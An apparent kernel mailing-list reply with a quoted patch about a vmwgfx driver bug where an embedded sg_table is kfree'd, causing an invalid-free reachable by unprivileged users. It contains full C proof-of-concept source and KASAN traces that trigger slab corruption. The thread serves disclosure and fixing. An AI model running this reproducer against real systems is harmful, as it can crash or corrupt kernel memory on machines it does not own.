Hi Zack,
Sure — here is a standalone reproducer that triggers the invalid-free.
It only needs a vmwgfx render node and runs as an unprivileged user:
gcc -O2 -Wall -o poc_sgtable poc_sgtable.c
./poc_sgtable /dev/dri/renderD128
Steps:
1. Allocate a BO on fd1 (DRM_VMW_ALLOC_BO).
2. mmap + write to populate TTM pages and trigger vmw_ttm_map_dma(),
which sets vsgt.sgt = &vmw_tt->sgt (the embedded member).
3. PRIME-export the handle (PRIME_HANDLE_TO_FD).
4. PRIME-import on a second fd (PRIME_FD_TO_HANDLE). This calls
drm_gem_map_dma_buf() -> vmw_gem_object_get_sg_table(), which
returns the embedded &vmw_tt->sgt.
5. Close fd2. The detach path in drm_gem_unmap_dma_buf() does:
sg_free_table(sgt); /* destroys vmwgfx's own scatterlist */
kfree(sgt); /* kfree on interior pointer */
With KASAN the result is immediate:
BUG: KASAN: invalid-free in drm_gem_unmap_dma_buf+0xb3/0xf0
Free of addr ffff888008290450 by task poc_sgtable/321
kasan_report_invalid_free+0x94/0xc0
kfree+0x103/0x360
drm_gem_unmap_dma_buf+0xb3/0xf0
dma_buf_detach+0x165/0x510
Without KASAN, the double-free silently corrupts the kmalloc-192 slab
(the freed pointer is 80 bytes inside the 144-byte vmw_ttm_tt object).
I will follow up with full igt vmwgfx results once I have the test VM
configured; in the meantime the splat above is from 6.12.101 with
CONFIG_KASAN=y.
Re your request for the other patch (GB-surface backup NULL check):
I will prepare a similar standalone test for that one as well.
The PoC source is below.
Thanks,
Aldo
---8<--- poc_sgtable.c ---8<---
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <drm/drm.h>
#include <drm/vmwgfx_drm.h>
#define PAGE_SIZE 4096
#define DRM_IOCTL_VMW_ALLOC_BO \
DRM_IOWR(DRM_COMMAND_BASE + DRM_VMW_ALLOC_BO, \
struct drm_vmw_alloc_bo_req)
struct vmw_alloc_bo_arg {
struct drm_vmw_alloc_bo_req req;
struct drm_vmw_bo_rep rep;
};
static int vmw_alloc_bo(int fd, uint32_t size, uint32_t *handle,
uint64_t *map_handle)
{
struct vmw_alloc_bo_arg arg;
memset(&arg, 0, sizeof(arg));
arg.req.size = size;
if (ioctl(fd, DRM_IOCTL_VMW_ALLOC_BO, &arg) < 0)
return -errno;
*handle = arg.rep.handle;
*map_handle = arg.rep.map_handle;
return 0;
}
static int prime_handle_to_fd(int fd, uint32_t handle, int *prime_fd)
{
struct drm_prime_handle args = {
.handle = handle,
.flags = DRM_CLOEXEC | DRM_RDWR,
};
if (ioctl(fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, &args) < 0)
return -errno;
*prime_fd = args.fd;
return 0;
}
static int prime_fd_to_handle(int fd, int prime_fd, uint32_t *handle)
{
struct drm_prime_handle args = {
.fd = prime_fd,
};
if (ioctl(fd, DRM_IOCTL_PRIME_FD_TO_HANDLE, &args) < 0)
return -errno;
*handle = args.handle;
return 0;
}
int main(int argc, char *argv[])
{
const char *dev = argc > 1 ? argv[1] : "/dev/dri/renderD128";
int fd1, fd2, prime_fd = -1;
uint32_t handle1 = 0, handle2 = 0;
uint64_t map_handle = 0;
void *map;
int ret;
printf("vmwgfx sg_table interior-pointer kfree PoC\n");
printf("Device: %s\n\n", dev);
fd1 = open(dev, O_RDWR);
if (fd1 < 0) { perror("open fd1"); return 1; }
fd2 = open(dev, O_RDWR);
if (fd2 < 0) { perror("open fd2"); return 1; }
ret = vmw_alloc_bo(fd1, PAGE_SIZE, &handle1, &map_handle);
if (ret) { fprintf(stderr, "alloc_bo: %s\n", strerror(-ret)); return 1; }
printf("[+] BO allocated: handle=%u map_handle=0x%llx\n",
handle1, (unsigned long long)map_handle);
map = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
fd1, map_handle);
if (map == MAP_FAILED) { perror("mmap"); return 1; }
memset(map, 0x41, PAGE_SIZE);
munmap(map, PAGE_SIZE);
printf("[+] Buffer populated (DMA mapped)\n");
ret = prime_handle_to_fd(fd1, handle1, &prime_fd);
if (ret) { fprintf(stderr, "PRIME_HANDLE_TO_FD: %s\n", strerror(-ret));
return 1; }
printf("[+] PRIME exported: prime_fd=%d\n", prime_fd);
ret = prime_fd_to_handle(fd2, prime_fd, &handle2);
if (ret) {
fprintf(stderr, "PRIME_FD_TO_HANDLE: %s\n", strerror(-ret));
printf("[!] Import failed -- check dmesg for KASAN: invalid-free\n");
} else {
printf("[+] PRIME imported on fd2: handle=%u\n", handle2);
}
close(fd2);
printf("[+] fd2 closed -- check dmesg for:\n");
printf(" BUG: KASAN: invalid-free in drm_gem_unmap_dma_buf\n");
close(prime_fd);
close(fd1);
return 0;
}
On Wed, Sep 23, 2026 11:38 AM, Zack Rusin <[email protected]> wrote:
> On Wed, Sep 23, 2026 at 8:26 AM Aldo Ariel Panzardo <[email protected]>
> wrote:
> >
> > vmw_gem_object_get_sg_table() returns vmw_tt->vsgt.sgt when the buffer
> > object has already been DMA mapped. vmw_ttm_map_dma() sets that field
> > to &vmw_tt->sgt, which is a member embedded inside the struct
> > vmw_ttm_tt allocation and not a table of its own.
> >
> > The core owns whatever .get_sg_table returns. drm_gem_map_dma_buf()
> > takes the table and drm_gem_unmap_dma_buf() destroys it in full:
> >
> > dma_unmap_sgtable(attach->dev, sgt, dir,
> DMA_ATTR_SKIP_CPU_SYNC);
> > sg_free_table(sgt);
> > kfree(sgt);
> >
> > Both are ops of drm_gem_prime_dmabuf_ops, so the core ends up calling
> > kfree() on &vmw_tt->sgt, which is not the start of an allocation. The
> > preceding sg_free_table() also destroys a scatterlist that vmwgfx still
> > considers its own and frees again from vmw_ttm_unmap_dma().
> >
> > drm_gem_unmap_dma_buf() runs from dma_buf_detach(), including the
> > importer's error path, so a failed import is enough to reach it:
> > exporting a bound buffer with DRM_IOCTL_PRIME_HANDLE_TO_FD and
> > importing it on a second DRM device with DRM_IOCTL_PRIME_FD_TO_HANDLE
> > is sufficient. Both ioctls are DRM_RENDER_ALLOW.
> >
> > Observed on 6.12.101 with KASAN, as uid 65534:
> >
> > BUG: KASAN: invalid-free in drm_gem_unmap_dma_buf+0xb3/0xf0
> > Free of addr ffff888008290450 by task poc_mm04_sgtabl/321
> > CPU: 1 UID: 65534 PID: 321 Comm: poc_mm04_sgtabl Not tainted 6.12.101
> #4
> > kasan_report_invalid_free+0x94/0xc0
> > check_slab_allocation+0x116/0x120
> > kfree+0x103/0x360
> > drm_gem_unmap_dma_buf+0xb3/0xf0
> > dma_buf_detach+0x165/0x510
> > drm_gem_prime_import_dev+0x33e/0x430
> > which belongs to the cache kmalloc-192 of size 192
> > The buggy address is located 80 bytes inside of
> > 144-byte region [ffff888008290400, ffff888008290490)
> >
> > 80 is offsetof(struct vmw_ttm_tt, sgt) and 144 is sizeof(struct
> > vmw_ttm_tt), which identifies the freed pointer as the embedded member.
> >
> > Always return a table the core can own, as the other drivers do.
> > Reusing the cached representation would require copying it into a
> > freshly allocated sg_table, never returning the alias.
> >
> > Fixes: 8afa13a0583f ("drm/vmwgfx: Implement DRIVER_GEM")
> > Cc: [email protected]
> > Signed-off-by: Aldo Ariel Panzardo <[email protected]>
> > ---
> > drivers/gpu/drm/vmwgfx/vmwgfx_gem.c | 11 +++++++----
> > 1 file changed, 7 insertions(+), 4 deletions(-)
> >
> > diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> > index 39f8c4655..a0233729b 100644
> > --- a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> > +++ b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> > @@ -73,10 +73,13 @@ static struct sg_table
> > *vmw_gem_object_get_sg_table(struct
> drm_gem_object *obj)
> > struct vmw_ttm_tt *vmw_tt =
> > container_of(bo->ttm, struct vmw_ttm_tt, dma_ttm);
> >
> > - if (vmw_tt->vsgt.sgt)
> > - return vmw_tt->vsgt.sgt;
> > -
> > - return drm_prime_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages,
> vmw_tt->dma_ttm.num_pages);
> > + /*
> > + * Do not return &vmw_tt->sgt: the core owns what this returns
> and
> > + * drm_gem_unmap_dma_buf() sg_free_table()s and kfree()s it, but
> that
> > + * sg_table is embedded in the vmw_ttm_tt allocation.
> > + */
> > + return drm_prime_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages,
> > + vmw_tt->dma_ttm.num_pages);
> > }
> >
> > static int vmw_gem_vmap(struct drm_gem_object *obj, struct iosys_map
> *map)
> > --
> > 2.43.0
> >
>
> Thank you. Because of the influx of llm patches it's very hard to
> reason about what's valid and what's not if it comes without a
> reproducible testcase. Could you please add an igt testcase for this
> and then include the full igt results for vmwgfx before and after this
> change? Same for your other change.
>
> z
>